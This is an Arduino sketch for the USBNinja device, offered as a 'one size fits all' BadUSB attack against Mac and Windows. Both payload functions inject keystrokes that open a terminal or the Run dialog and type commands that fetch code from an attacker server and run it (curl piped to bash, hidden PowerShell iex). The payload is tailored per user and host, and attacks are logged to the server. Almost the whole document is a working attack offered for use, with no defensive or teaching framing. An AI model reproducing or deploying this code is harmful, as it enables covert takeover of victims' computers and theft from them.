One size fits all BadUSB attack for Mac/Windows for the USBNinja. Logs all attacks to server. Server can optionally provide a unique payload for each target hostname/user combo.

usbninja.ino

#include <NinjaKeyboard.h>

void setup(){}

void loop() {}

void payloadA(){
    USBninjaOnline();
    NinjaKeyboard.begin();
    NinjaKeyboard.delay(1000);
    NinjaKeyboard.sendKeyStroke(0);
    NinjaKeyboard.delay(1000);
    NinjaKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT);   
    NinjaKeyboard.delay(100);
    NinjaKeyboard.print(F("Terminal"));
    NinjaKeyboard.sendKeyStroke(KEY_ENTER); 
    NinjaKeyboard.delay(1000); 
    NinjaKeyboard.print(F("curl https://YOUR_SERVER_HERE/pl-$USER-$HOST | bash"));
    NinjaKeyboard.sendKeyStroke(KEY_ENTER);

    //nonsense to cleanly exit and setup for a second attack on all operating systems
    NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
    NinjaKeyboard.delay(100); 
    NinjaKeyboard.sendKeyStroke(KEY_ENTER); 
    NinjaKeyboard.delay(500); 
    NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
    NinjaKeyboard.delay(100);
    NinjaKeyboard.end();
    USBninjaOffline();
    NinjaKeyboard.begin();
}

void payloadB(){
    USBninjaOnline();
    NinjaKeyboard.begin();
    NinjaKeyboard.delay(1000);
    NinjaKeyboard.sendKeyStroke(0);
    NinjaKeyboard.delay(1000);
    NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);   
    NinjaKeyboard.delay(200);
    NinjaKeyboard.print(F("powershell -windowstyle hidden iex (wget https://YOUR_SERVER_HERE/pl-$($env:UserName)-$($env:ComputerName))"));
    NinjaKeyboard.sendKeyStroke(KEY_ENTER);

    //nonsense to cleanly exit and setup for a second attack on all operating systems
    NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
    NinjaKeyboard.delay(100); 
    NinjaKeyboard.sendKeyStroke(KEY_ENTER); 
    NinjaKeyboard.delay(500); 
    NinjaKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);      
    NinjaKeyboard.delay(100);
    NinjaKeyboard.end();
    USBninjaOffline();
    NinjaKeyboard.begin();
}